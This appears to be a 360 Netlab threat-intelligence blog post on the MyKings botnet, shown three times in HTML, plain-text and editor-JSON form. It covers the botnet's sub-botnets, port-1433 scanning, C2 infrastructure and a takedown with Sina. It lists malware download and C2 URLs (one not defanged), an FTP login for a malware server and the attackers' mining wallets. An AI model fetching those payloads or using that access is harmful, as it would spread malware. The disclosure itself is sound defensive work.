Trojans</a>, 2017.05</li><li>东巽科技：<a href="https://www.77169.com/html/158742.html">Mirai木马“借道”新浪博客攻击windows服务器</a>, 2017.07</li><li>火绒实验室：<a href="http://www.freebuf.com/news/141644.html">彻底曝光黑客“隐匿者” 目前作最多的网络攻击团伙</a> 2017.07</li><li>360安全卫士：<a href="https://www.anquanke.com/post/id/86751">悄然崛起的挖矿机僵尸网络：打服务器挖价值百万门罗币</a> 2017.9</li></ul><h3 id="--3"><strong>特别致谢</strong></h3><p>在整个事件处置过程中，我们得到了来自新浪安全团队(sec.sina.com.cn)的帮助，获得了原始访问数据，并联合关闭了该僵尸网络的上联通道，特此感谢。</p><h3 id="--4"><strong>详细技术分析</strong></h3><p>该 Botnet 相关的主要样本详细分析和具体样本相关的 IoC，可以查看以下两份详细技术分析文档：</p><ul><li><a href="__GHOST_URL__/file/MyKings-botnet.0.pdf">Mykings-botnet.0 详细分析.pdf</a></li><li><a href="__GHOST_URL__/file/MyKings-botnet.0__ups.pdf">Mykings-botnet.o__ups.rar 详细分析.pdf</a></li></ul><h3 id="ioc"><strong>IoC</strong></h3><p>Botnet.0.spreader Configuration<br>hxxp://down.mykings.pw:8888/my1.html<br>hxxp://down.mykings.pw:8888/ups.rar<br>hxxp://down.mykings.pw:8888/item.dat<br>hxxp://up.mykings.pw:8888/ver.txt<br>hxxp://up.mykings.pw:8888/ups.rar<br>hxxp://up.mykings.pw:8888/update.txt<br>hxxp://up.mykings.pw:8888/wpdmd5.txt<br>hxxp://up.mykings.pw:8888/wpd.dat<br>hxxp://down.f4321y.com:8888/kill.html<br>hxxp://down.f4321y.com:8888/test.html<br>hxxp://down.f4321y.com:8888/ups.rar<br>hxxp://down.f4321y.com<br>hxxp://down.f4321y.com:8888/my1.html<br>hxxp://js.f4321y.com:280/v.sct<br>hxxp://up.f4321y.com<br>hxxp://up.f4321y.com:8888/ver.txt<br>hxxp://up.f4321y.com:8888/ups.rar<br>hxxp://up.f4321y.com:8888/update.txt<br>hxxp://up.f4321y.com:8888/wpdmd5.txt<br>hxxp://up.f4321y.com:8888/wpd.dat<br>hxxp://up.f4321y.com:8888/ups.rar<br>hxxp://down.b591.com:8888/ups.exe<br>hxxp://down.b591.com:8888/ups.rar<br>hxxp://down.b591.com:8888/test.html<br>hxxp://down.b591.com:8888/ups.rar<br>hxxp://down.b591.com:8888/ups.exe<br>hxxp://down.b591.com:8888/cab.rar<br>hxxp://down.b591.com:8888/cacls.rar<br>hxxp://down.b591.com:8888/kill.html<br>hxxp://down2.b591.com:8888/ups.rar<br>hxxp://down2.b591.com:8888/wpd.dat<br>hxxp://down2.b591.com:8888/wpdmd5.txt<br>hxxp://down2.b591.com:8888/ver.txt<br>hxxp://dwon.kill1234.com:280/cao.exe<br>hxxps://down2.b5w91.com:8443<br>hxxp://down.mysking.info:8888/ok.txt<br>hxxp://23.27.127.254:8888/close.bat<br>hxxp://js.mykings.top:280/v.sct<br>hxxp://js.mykings.top:280/helloworld.msi<br>hxxp://wmi.mykings.top:8888/kill.html<br>hxxp://wmi.mykings.top:8888/test.html<br>hxxp://209.58.186.145:8888/close2.bat<br>hxxp://67.229.144.218:8888/update.txt<br>hxxp://67.229.144.218:8888/ps.jpg<br>hxxp://67.229.144.218:8888/update.txt<br>hxxp://67.229.144.218:8888/my1.html<br>hxxp://67.229.144.218:8888/ver.txt<br>hxxp://67.229.144.218:8888/test.dat<br>hxxp://down.down0116.info --> new<br>hxxp://down.down0116.info/up.rar --> new<br>hxxp://down.down0116.info/down.txt --> new<br>fxp://ftp.ftp0118.info/a.exe --> new</p><p>botnet.-1.mirai<br>hxxp://100.43.155.171:280/mirai/</p><p>botnet.1.proxy<br>hxxp://100.43.155.171:280/do/</p><p>botnet.2.rat<br>hxxp://67.229.144.218:8888/test1.dat<br>hxxp://47.88.216.68:8888/test.dat<br>hxxp://47.52.0.176:8888/item.dat<br>hxxp://118.190.50.141:8888/test.dat</p><p>botnet.3.miner<br>hxxp://104.37.245.82:8888/32.rar<br>fxp://fxp.oo000oo.me/s.rar<br>hxxp://198.148.80.194:8888/0121.rar --> new<br>fxp://ftp.ftp0118.info/s.rar --> new</p><p>botnet.4.rat<br>hxxp://104.37.245.82:8888/nb.dat</p> | 【更新记录】
2018-01-24 原始文档首次公开，原先基于新浪blog的所有上联通道均已切断
2018-01-29 12:00 MyKings的上联通道开始使用新的blog url http://test886.hatenablog.com/entry/2018/01/26/002449，我们通过 https://twitter.com/360Netlab 发布了这一消息
2018-01-29 15:00 我们注意到上述 BLOG URL 已经被封
2018-01-29 05:00 https://twitter.com/ninoseki 告知，上述被封动作是 hantena 博客安全团队处理的。
以下是原始文章
作者 netlab.360.com
MyKings 是一个由多个子僵尸网络构成的多重僵尸网络，2017 年 4 月底以来，该僵尸网络一直积极地扫描互联网上 1433 及其他多个端口，并在渗透进入受害者主机后传播包括 DDoS、Proxy、RAT、Miner 在内的多种不同用途的恶意代码。我们将其命名为 MyKings，原因之一来自该僵尸网络的一个主控域名 *.mykings[.]pw。
MyKings 并不是一个新的僵尸网络，在我们之前有若干对该僵尸网络组件的分析（详见 <友商披露情况> 一节），但在本次批露之前，各家分析都没有形成完整的拼图，也未见有效行动遏制该僵尸网络的扩散。
2017 年 5 月 23 日，我们第一次联系到新浪安全团队，并随后采取了多轮联合行动。新浪安全团队关闭了 MyKings 的上联 URL，并向我们提供了相关的访问日志。联合行动有效遏制了该僵尸网络的扩散，也希望能为后续其他联合行动扫清障碍。被关闭的这些上联 URL 如下：
hxxp://blog.sina.com.cn/s/blog_16****tv.html --> new, blog post title: down
hxxp://blog.sina.com.cn/s/blog_16****s0.html --> new, blog post title: xmrok
hxxp://blog.sina.com.cn/s/blog_16****rz.html --> new, blog post title: xmr64
hxxp://blog.sina.com.cn/s/blog_16*****w.html
hxxp://blog.sina.com.cn/s/blog_16*****x.html
hxxp://blog.sina.com.cn/s/blog_16*****4.html
hxxp://blog.sina.com.cn/s/blog_16*****v.html
hxxp://blog.sina.com.cn/s/blog_16*****u.html
hxxp://blog.sina.com.cn/s/blog_16*****2.html
Mykings 本身模块化，构成很复杂, 本 Blog 是个概述，具体技术分析的内容见文末的 2 份 PDF 文档。
MyKings 的感染范围和流行程度
统计 2017 年 5 月底前述被关闭的上联 URL 的访问来源 IP 数可知，独立来源 IP 总数 1,183,911 个，分布在遍布全球 198 个国家和地区。其中来源 IP 超过 100,000 的国家和地区有四个，分别是俄罗斯、印度、巴西和中国。
另外，在域名流行程度方面，最为流行的域名是 up.f4321y.com ：
* 该域名DNS被请求频率超过 2.5m/每日
* 该域名流行程度排行，历史最高 79753 名，目前稳定在8万～9万之间。
MyKings的组成
MyKings 是一组多个子僵尸网络的混合体，其简要结构如下图所示。
如上两图：
* 攻击者使用 Scanner(msinfo.exe) 扫描渗透进入受害者主机后，会自动尝试下载恶意代码。下载 URL 中的IP 部分被编码在受控的 Blog 页面中；
* Blog 页面中编码的 IP 地址是指向 Dropper(ups.rar) 的，这个配置项可以由攻击者在云端动态调整；部分 Blog 页面已经被前述联合行动关闭；
* Dropper 服务器上提供了恶意代码和对应的启动脚本的下载，这些内容同样可以由攻击者在云端动态调整；
* 我们观察到所下载的恶意代码有 Mirai, Proxy，RAT 和 Miner。
明确上述结构以后，使得我们可以将整个 MyKings 划分为多个子僵尸网络，并逐一标记各子僵尸网络的特征如下表：
各子僵尸网络相互之间的构建关系如下表所示：
从上述两个表中我们可以得出以下结论：
* botnet.-1/1/2/3/4 各自拥有独立的上联控制端，仅在构建过程中需要 botnet.0 支撑，构建完成后的运营阶段可以各自独立、不再相互依赖；
* botnet.0 支撑了多数其他子僵尸网络的构建过程。再考虑到我们在 botnet.0 的所有代码中没有看到其他任何恶意行为，我们倾向认为 botnet.0 是一个专注做恶意代码推广的网络 。
* botnet.1.proxy 的推广者不是 botnet.0，而是 botnet.-1，这是个例外。不过，上述推广行为仅在早期持续了很少一段时间，主要的恶意代码推广仍然由 botnet.0 完成。
MyKings.botnet.0.spreader
botnet.0 是居于核心地位的一个僵尸网络，除了传播其他僵尸网络以外，该僵尸网络并没有其他恶意行为，聚焦在扫描资源建设和建立后续其他僵尸网络上。该僵尸网络有以下特点：
* 服务器基础设施规模庞大
* 积极改进感染代码和能力
* 向后继僵尸网络的投入提供了定义良好的编程接口
botnet.0 的基础设施能力
botnet.0 拥有在几个小时动员 2400 个主机IP地址发起扫描的能力。如果我们假定每个主机 IP 地址需要 30
元人民币（5美元），这就意味着botnet.0一次性投入了超过7万元人民币（12,000美元）。
基于如此强大的服务器基础设施，当前 botnet.0 贡献了整个互联网范围内 1433 端口扫描的主要部分。而全部 1433 端口上的扫描，根据我们的 scanmon系统(scan.netlab.360.com)显示的数据，高峰时期在 30~40m/d，目前稳定在 1.5m/d，与 23 端口（Mirai / Hajime）在伯仲之间。
前面提到一次性动员的 2400+ 个主机IP地址包括：
* 123.207.0.0/16 1150个
* 122.114.0.0/16 1255个
我们检测到上述主机集中发起扫描的时间在 2017.04.25 08:00:00 附近，当时在 scan.netlab.360.com 上能看到的 1433 端口的扫描情况如下。
可以观察到当天上午8：00开始，1433端口上的扫描有了一个巨大的暴增。暴增前每日扫描事件约为5m/d，之后突增到30～40m/d。
观察这些活跃IP在C类段（/24）中的排名，前100的C类段中有99个来自前述两个B类段。考虑到这些IP地址段行为规律一致、时间窗口集中，我们将这些IP地址归入 MyKings 的资源池。
botnet.0 的扫描和渗透能力
botnet.0 的扫描行为是由于其 msinfo.exe 进程发起的。该进程会拉取云端的 wpd.dat 配置文件，配合云端机制发起扫描，并且随着版本更迭不断改进自身扫描能力。
* 扫描的端口和服务如下：1433 MSSQL3306 MySQL135 WMI22 SSH445 IPC23 Telnet, mirai 僵尸网络80 Web, CCTV设备3389 RDP, Windows远程桌面
* 扫描目标IP地址：生成机制越来越复杂早期版本中， msinfo.exe 用来扫描的目标 IP 只有两种：从云端配置文件 wpd.dat 获取、在本地根据外网出口 IP 随机生成；最新样本中，增加了一种更复杂的本地随机生成算法，并且会避开一批保留地址段。
* 扫描方式：不断演化，直至集成 Masscan早期版本中，支持 TCP Connect 和 TCP SYN 两种扫描方式，分别对应木马中实现的两个扫描模块；早期版本的 msinfo.exe 中，两种扫描方式都是自己编写的，其中 TCP Connect 模块用到了The Ultimate TCP/IP 函数库中的 CUT_WSClient 类，而 TCP SYN 扫描模块则用到了 RAW Socket 相关的 DLL 文件并自己手动构造数据包；最新样本中，在 TCP SYN 模块集成了知名全网端口扫描器 Masscan ，并且把目标 IP 配置成 0.0.0.0/0 ，发起对全网的高速扫描。
* 扫描载荷弱口令字典比较丰富，近百条是针对 Telnet 和 MSSQL Server；获得服务权限后，进行进一步攻击入侵的 Palyload 也很强大，其中针对 MSSQL Server 进行注入利用的 SQL 语句格式化后有近千行。
botnet.0 提供的后继僵尸网络接入界面
botnet.0 向后继僵尸网络提供的接入界面简明清晰，以至于从后继其他僵尸网络的角度来看，只需要按照接入界面要求配置安装包下载地址，以及安装包被下载后需要执行的脚本，安装包就会被下载执行。至于扫描和投入阶段的各种技术细节，可以交由 botnet.0 处理，自己完全不用关注。
上述接入界面包括：
* 灵活的云端配置文件：botnet.0.spreader 的核心木马 msinfo.exe 用到的云端配置文件 wpd.dat ，是一个加密的 XML 文档，其中指定了暴破 Telnet 成功后用到来下载 Mirai 样本的 C2 地址、需要扫描的网络服务端口、暴破各个端口所需的口令、入侵各个网络服务时执行的部分命令以及需要扫描的目标 IP 范围等配置。这些配置都可以根据后继僵尸网络的要求灵活更改。
* 模块化编程架构的 msinfo.exe : 主要是其 Crack 模块中通过继承一个基类 Task_Crack ，实现其中定义好的一组连接、暴破、执行命令等功能的函数接口即可定义一个 Task_Crack_XXX 子类，继而实现针对一个新的网络服务的攻击模块。Crack 模块与 wpd.dat 配置文件中定义的待扫描网络服务端口相对应，可以灵活更改针对不同网络服务的 Crack 功能。
* 其他辅助云端配置文件：msinfo.exe 与 botnet.0.spreader 用到的另外一个辅助木马 ups.exe ，会涉及其它云端配置文件，如 update.txt、ver.txt、my1.html、test.html、kill.html、clr.txt 等。这些也都可以灵活配置，方便攻击者控制在下一阶段需要下载什么样本、执行什么样的命令。
被推广的其他子僵尸网络
botnet.0 推广的其他僵尸网络包括：
* botnet.-1.mirai
* botnet.1.proxy
* botnet.2.rat
* botnet.3.miner
* botnet.4.rat
我们使用序号来标记首次发现的顺序、后缀标识给子僵尸网络的用途。
botnet.-1.mirai
cnc.f321y.com (123.51.208.155:23) 是一个 mirai 僵尸网络，它与 MyKings 的同源关系在卡巴斯基的早期文章中已经论证。
我们追溯到该C2发出的第一条攻击指令，是在2016-12-20发出的。
* 2016-12-20 20:36 123.51.208.155:23|http_flood|118.193.139.184:54321
值得一提的是指令中受害者IP地址118.193.139.184 上，曾经有若干 C2 域名同属 MyKings 控制：
* 2016-04-01 15:55:56 2016-12-27 19:14:42 pc.kill1234.com 118.193.139.184
* 2016-04-24 13:07:50 2016-12-27 19:02:22 xq.kill1234.com 118.193.139.184
botnet.1.proxy
botnet.1.proxy 是一个代理网络。这个网络不是由botnet.0.spreader直接创建，而是通过 botnet.-1.mirai 间接建立的。我们观察到以上建立过程发生在 2017.05.05-2017.05.17 之间
这个建立关系可以从以下样本之间的关系示意：
* botnet.0.spreader 在投递一组特殊的 mirai 样本，建立botnet.-1.mirai
* botnet.-1.mirai 除了运行mirai自身的行为，还会下载得到 do.arm 系列样本
* do.arm 系列样本运行起来以后，会在本机建立socks proxy，并将所生成的随机密码发回给 211.23.167.180:9999
* 至此，以 211.23.167.180:9999 为核心的 botnet.2.proxy 就建立起来了。
为了确认上述proxy 网络会被利用，我们模拟了一个 bot 向 botnet.2.proxy C2 提供了一个密码。之后，botnet.2.proxy 向我们模拟的 bot 发出测试请求，要求利用 proxy 获取www.baidu.com 网页。
图中显示，botnet.2.proxy 执行的动作包括：
* 提供了用户名： 固定为admin
* 提供了口令：???????? 。这个口令是我们之前随机生成、并提供给 botnet.2.proxy 的。这里口令做了掩码处理，以减少我们工作IP的暴露风险
* 要求访问 http://www.baidu.com
* 在得到了回应的页面后， botnet.2.proxy 沉寂不再与我们控制的bot联系。
botnet.2.rat 一个RAT僵尸网络
botnet.2.rat 在 Cyphort 的文档中已经批露，概要信息如下：
* 是由 botnet.0.spreader 直接建立的
* 投递样本 sha256sum: e6fc79a24d40aea81afdc7886a05f008385661a518422b22873d34496c3fb36b
* 样本中包含C2 pc.5b6b7b.info
上述情况与我们的观察一致。
botnet.3.miner 一个挖矿网络
我们观察到的botbet.3.miner 的特征包括：
* MinerPool：pool.minexmr.com:5555
* WalletID：47Tscy1QuJn1fxHiBRjWFtgHmvqkW71YZCQL33LeunfH4rsGEHx5UGTPdfXNJtMMATMz8bmaykGVuDFGWP3KyufBSdzxBb2 --> Total Paid: 2000+ xmr45bbP2muiJHD8Fd5tZyPAfC2RsajyEcsRVVMZ7Tm5qJjdTMprexz6yQ5DVQ1BbmjkMYm9nMid2QSbiGLvvfau7At5V18FzQ --> Total Paid: 6000+ xmr
* MinerPoolPass：x
在火绒实验室的文档里提及了挖矿僵尸网络，但是未给出特征细节，无法判定是否 botnet.0 仅推广了一个挖矿网络。
botnet.4.rat 另一个RAT僵尸网络
botnet.4.rat 没有被其他安全厂商批露过。概要信息如下：
* 下载链接：http://104.37.245.82:8888/nb.dat
* 样本中包含C2 nb.ruisgood.ru
近况
2018.1.17 开始，针对 1433 端口的扫描流量有明显的下降趋势，从我们对此 Botnet 的跟踪来看，此前支撑该 Botnet 的主要 C2 之一 67.229.144.218 停止服务。随后，2018.1.23 凌晨我们发现一个新的 C2 IP 上线： 67.229.99.82。
另外，我们发现该团伙还在陆续更新 Botnet 后面其他的基础设施
* 新的样本下载 FTP 服务器 ftp://ftp.ftp0118.info/，口令 test:1433 ；
* 新的样本&云端配置文件服务器 down.down0116.info；
* 新的新浪博客账号以及 3 篇新的新浪博客 Post。
在 2018.1.17~2018.1.21 这段时间，针对 1433 端口的扫描流量有一个明显的波谷，我们怀疑这与该团伙的基础设施变动有直接关系：
友商披露情况
已经有多家友商披露了 MyKings 的部分内容，按照我们观察到的报告时间顺序分别是
* GReAt, Kaspersky, New(ish) Mirai Spreader Poses New Risks, 2017.02
* Cyphort, EternalBlue Exploit Actively Used to Deliver Remote Access Trojans, 2017.05
* 东巽科技：Mirai木马“借道”新浪博客攻击windows服务器, 2017.07
* 火绒实验室：彻底曝光黑客“隐匿者” 目前作最多的网络攻击团伙 2017.07
* 360安全卫士：悄然崛起的挖矿机僵尸网络：打服务器挖价值百万门罗币 2017.9
特别致谢
在整个事件处置过程中，我们得到了来自新浪安全团队(sec.sina.com.cn)的帮助，获得了原始访问数据，并联合关闭了该僵尸网络的上联通道，特此感谢。
详细技术分析
该 Botnet 相关的主要样本详细分析和具体样本相关的 IoC，可以查看以下两份详细技术分析文档：
* Mykings-botnet.0 详细分析.pdf
* Mykings-botnet.o__ups.rar 详细分析.pdf
IoC
Botnet.0.spreader Configuration
hxxp://down.mykings.pw:8888/my1.html
hxxp://down.mykings.pw:8888/ups.rar
hxxp://down.mykings.pw:8888/item.dat
hxxp://up.mykings.pw:8888/ver.txt
hxxp://up.mykings.pw:8888/ups.rar
hxxp://up.mykings.pw:8888/update.txt
hxxp://up.mykings.pw:8888/wpdmd5.txt
hxxp://up.mykings.pw:8888/wpd.dat
hxxp://down.f4321y.com:8888/kill.html
hxxp://down.f4321y.com:8888/test.html
hxxp://down.f4321y.com:8888/ups.rar
hxxp://down.f4321y.com
hxxp://down.f4321y.com:8888/my1.html
hxxp://js.f4321y.com:280/v.sct
hxxp://up.f4321y.com
hxxp://up.f4321y.com:8888/ver.txt
hxxp://up.f4321y.com:8888/ups.rar
hxxp://up.f4321y.com:8888/update.txt
hxxp://up.f4321y.com:8888/wpdmd5.txt
hxxp://up.f4321y.com:8888/wpd.dat
hxxp://up.f4321y.com:8888/ups.rar
hxxp://down.b591.com:8888/ups.exe
hxxp://down.b591.com:8888/ups.rar
hxxp://down.b591.com:8888/test.html
hxxp://down.b591.com:8888/ups.rar
hxxp://down.b591.com:8888/ups.exe
hxxp://down.b591.com:8888/cab.rar
hxxp://down.b591.com:8888/cacls.rar
hxxp://down.b591.com:8888/kill.html
hxxp://down2.b591.com:8888/ups.rar
hxxp://down2.b591.com:8888/wpd.dat
hxxp://down2.b591.com:8888/wpdmd5.txt
hxxp://down2.b591.com:8888/ver.txt
hxxp://dwon.kill1234.com:280/cao.exe
hxxps://down2.b5w91.com:8443
hxxp://down.mysking.info:8888/ok.txt
hxxp://23.27.127.254:8888/close.bat
hxxp://js.mykings.top:280/v.sct
hxxp://js.mykings.top:280/helloworld.msi
hxxp://wmi.mykings.top:8888/kill.html
hxxp://wmi.mykings.top:8888/test.html
hxxp://209.58.186.145:8888/close2.bat
hxxp://67.229.144.218:8888/update.txt
hxxp://67.229.144.218:8888/ps.jpg
hxxp://67.229.144.218:8888/update.txt
hxxp://67.229.144.218:8888/my1.html
hxxp://67.229.144.218:8888/ver.txt
hxxp://67.229.144.218:8888/test.dat
hxxp://down.down0116.info --> new
hxxp://down.down0116.info/up.rar --> new
hxxp://down.down0116.info/down.txt --> new
fxp://ftp.ftp0118.info/a.exe --> new
botnet.-1.mirai
hxxp://100.43.155.171:280/mirai/
botnet.1.proxy
hxxp://100.43.155.171:280/do/
botnet.2.rat
hxxp://67.229.144.218:8888/test1.dat
hxxp://47.88.216.68:8888/test.dat
hxxp://47.52.0.176:8888/item.dat
hxxp://118.190.50.141:8888/test.dat
botnet.3.miner
hxxp://104.37.245.82:8888/32.rar
fxp://fxp.oo000oo.me/s.rar
hxxp://198.148.80.194:8888/0121.rar --> new
fxp://ftp.ftp0118.info/s.rar --> new
botnet.4.rat
hxxp://104.37.245.82:8888/nb.dat | {"version":"0.3.1","atoms":[["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}],["soft-return","",{}]],"cards":[["code",{"code":"2018-01-24 原始文档首次公开，原先基于新浪blog的所有上联通道均已切断\n2018-01-29 12:00 MyKings的上联通道开始使用新的blog url http://test886.hatenablog.com/entry/2018/01/26/002449，我们通过 https://twitter.com/360Netlab 发布了这一消息\n2018-01-29 15:00 我们注意到上述 BLOG URL 已经被封\n2018-01-29 05:00 https://twitter.com/ninoseki 告知，上述被封动作是 hantena 博客安全团队处理的。\n"}],["code",{"code":"hxxp://blog.sina.com.cn/s/blog_16****tv.html --> new, blog post title: down \nhxxp://blog.sina.com.cn/s/blog_16****s0.html --> new, blog post title: xmrok \nhxxp://blog.sina.com.cn/s/blog_16****rz.html --> new, blog post title: xmr64 \nhxxp://blog.sina.com.cn/s/blog_16*****w.html \nhxxp://blog.sina.com.cn/s/blog_16*****x.html \nhxxp://blog.sina.com.cn/s/blog_16*****4.html \nhxxp://blog.sina.com.cn/s/blog_16*****v.html \nhxxp://blog.sina.com.cn/s/blog_16*****u.html \nhxxp://blog.sina.com.cn/s/blog_16*****2.html \n"}],["image",{"src":"__GHOST_URL__/content/images/2017/08/botnet.0-infection-geo-distribute.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/08/7---infection-stat-by-sec.sina.com.cn.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/01/botnet_c2_trend.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/09/8---botnet---struct-2.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/01/botnets.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/09/9---botnet---feature.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/09/10---botnet---relation---table.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/08/2---First-Scan-Spike.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/08/3---First-Scan-Spike---Scanner-Source.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/08/4---botnet.-1-mirai-first-attack-command.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/08/5---botnet.1.proxy-establishment.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/08/6---botnet.1.proxy-under-test-1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/01/dport1433_2018.png","alt":"","title":""}]],"markups":[["strong"],["code"],["a",["href","http://www.baidu.com/"]],["a",["href","http://104.37.245.82:8888/nb.dat"]],["a",["href","https://securelist.com/newish-mirai-spreader-poses-new-risks/77621/"]],["a",["href","https://www.cyphort.com/eternalblue-exploit-actively-used-deliver-remote-access-trojans/"]],["a",["href","https://www.77169.com/html/158742.html"]],["a",["href","http://www.freebuf.com/news/141644.html"]],["a",["href","https://www.anquanke.com/post/id/86751"]],["a",["href","__GHOST_URL__/file/MyKings-botnet.0.pdf"]],["a",["href","__GHOST_URL__/file/MyKings-botnet.0__ups.pdf"]]],"sections":[[1,"p",[[0,[],0,"【更新记录】"]]],[10,0],[1,"p",[[0,[],0,"以下是原始文章"]]],[1,"p",[[0,[],0,"作者 netlab.360.com"]]],[1,"p",[[0,[],0,"MyKings 是一个由多个子僵尸网络构成的多重僵尸网络，2017 年 4 月底以来，该僵尸网络一直积极地扫描互联网上 1433 及其他多个端口，并在渗透进入受害者主机后传播包括 DDoS、Proxy、RAT、Miner 在内的多种不同用途的恶意代码。我们将其命名为 MyKings，原因之一来自该僵尸网络的一个主控域名 *.mykings[.]pw。"]]],[1,"p",[[0,[],0,"MyKings 并不是一个新的僵尸网络，在我们之前有若干对该僵尸网络组件的分析（详见 <友商披露情况> 一节），但在本次批露之前，各家分析都没有形成完整的拼图，也未见有效行动遏制该僵尸网络的扩散。"]]],[1,"p",[[0,[],0,"2017 年 5 月 23 日，我们第一次联系到新浪安全团队，并随后采取了多轮联合行动。新浪安全团队关闭了 MyKings 的上联 URL，并向我们提供了相关的访问日志。联合行动有效遏制了该僵尸网络的扩散，也希望能为后续其他联合行动扫清障碍。被关闭的这些上联 URL 如下："]]],[10,1],[1,"p",[[0,[],0,"Mykings 本身模块化，构成很复杂, 本 Blog 是个概述，具体技术分析的内容见文末的 2 份 PDF 文档。"]]],[1,"h3",[[0,[0],1,"MyKings 的感染范围和流行程度"]]],[1,"p",[[0,[],0,"统计 2017 年 5 月底前述被关闭的上联 URL 的访问来源 IP 数可知，独立来源 IP 总数 1,183,911 个，分布在遍布全球 198 个国家和地区。其中来源 IP 超过 100,000 的国家和地区有四个，分别是俄罗斯、印度、巴西和中国。"]]],[10,2],[10,3],[1,"p",[[0,[],0,"另外，在域名流行程度方面，最为流行的域名是 up.f4321y.com ："]]],[3,"ul",[[[0,[],0,"该域名DNS被请求频率超过 2.5m/每日"]],[[0,[],0,"该域名流行程度排行，历史最高 79753 名，目前稳定在8万～9万之间。"]]]],[10,4],[1,"h3",[[0,[0],1,"MyKings的组成"]]],[1,"p",[[0,[],0,"MyKings 是一组多个子僵尸网络的混合体，其简要结构如下图所示。"]]],[10,5],[10,6],[1,"p",[[0,[],0,"如上两图："]]],[3,"ul",[[[0,[],0,"攻击者使用 Scanner(msinfo.exe) 扫描渗透进入受害者主机后，会自动尝试下载恶意代码。下载 URL 中的IP 部分被编码在受控的 Blog 页面中；"]],[[0,[],0,"Blog 页面中编码的 IP 地址是指向 Dropper(ups.rar) 的，这个配置项可以由攻击者在云端动态调整；部分 Blog 页面已经被前述联合行动关闭；"]],[[0,[],0,"Dropper 服务器上提供了恶意代码和对应的启动脚本的下载，这些内容同样可以由攻击者在云端动态调整；"]],[[0,[],0,"我们观察到所下载的恶意代码有 Mirai, Proxy，RAT 和 Miner。"]]]],[1,"p",[[0,[],0,"明确上述结构以后，使得我们可以将整个 MyKings 划分为多个子僵尸网络，并逐一标记各子僵尸网络的特征如下表："]]],[10,7],[1,"p",[[0,[],0,"各子僵尸网络相互之间的构建关系如下表所示："]]],[10,8],[1,"p",[[0,[],0,"从上述两个表中我们可以得出以下结论："]]],[3,"ul",[[[0,[],0,"botnet.-1/1/2/3/4 各自拥有独立的上联控制端，仅在构建过程中需要 botnet.0 支撑，构建完成后的运营阶段可以各自独立、不再相互依赖；"]],[[0,[],0,"botnet.0 支撑了多数其他子僵尸网络的构建过程。再考虑到我们在 botnet.0 的所有代码中没有看到其他任何恶意行为，我们倾向认为 "],[0,[0],1,"botnet.0 是一个专注做恶意代码推广的网络"],[0,[],0," 。"]],[[0,[],0,"botnet.1.proxy 的推广者不是 botnet.0，而是 botnet.-1，这是个例外。不过，上述推广行为仅在早期持续了很少一段时间，主要的恶意代码推广仍然由 botnet.0 完成。"]]]],[1,"h3",[[0,[0],1,"MyKings.botnet.0.spreader"]]],[1,"p",[[0,[],0,"botnet.0 是居于核心地位的一个僵尸网络，除了传播其他僵尸网络以外，该僵尸网络并没有其他恶意行为，聚焦在扫描资源建设和建立后续其他僵尸网络上。该僵尸网络有以下特点："]]],[3,"ul",[[[0,[],0,"服务器基础设施规模庞大"]],[[0,[],0,"积极改进感染代码和能力"]],[[0,[],0,"向后继僵尸网络的投入提供了定义良好的编程接口"]]]],[1,"h4",[[0,[0],1,"botnet.0 的基础设施能力"]]],[1,"p",[[0,[],0,"botnet.0 拥有在几个小时动员 2400 个主机IP地址发起扫描的能力。如果我们假定每个主机 IP 地址需要 30"],[1,[],0,0],[0,[],0,"元人民币（5美元），这就意味着botnet.0一次性投入了超过7万元人民币（12,000美元）。"]]],[1,"p",[[0,[],0,"基于如此强大的服务器基础设施，当前 botnet.0 贡献了整个互联网范围内 1433 端口扫描的主要部分。而全部 1433 端口上的扫描，根据我们的 scanmon系统(scan.netlab.360.com)显示的数据，高峰时期在 30~40m/d，目前稳定在 1.5m/d，与 23 端口（Mirai / Hajime）在伯仲之间。"]]],[1,"p",[[0,[],0,"前面提到一次性动员的 2400+ 个主机IP地址包括："]]],[3,"ul",[[[0,[],0,"123.207.0.0/16 1150个"]],[[0,[],0,"122.114.0.0/16 1255个"]]]],[1,"p",[[0,[],0,"我们检测到上述主机集中发起扫描的时间在 2017.04.25 08:00:00 附近，当时在 scan.netlab.360.com 上能看到的 1433 端口的扫描情况如下。"]]],[10,9],[1,"p",[[0,[],0,"可以观察到当天上午8：00开始，1433端口上的扫描有了一个巨大的暴增。暴增前每日扫描事件约为5m/d，之后突增到30～40m/d。"]]],[1,"p",[[0,[],0,"观察这些活跃IP在C类段（/24）中的排名，前100的C类段中有99个来自前述两个B类段。考虑到这些IP地址段行为规律一致、时间窗口集中，我们将这些IP地址归入 MyKings 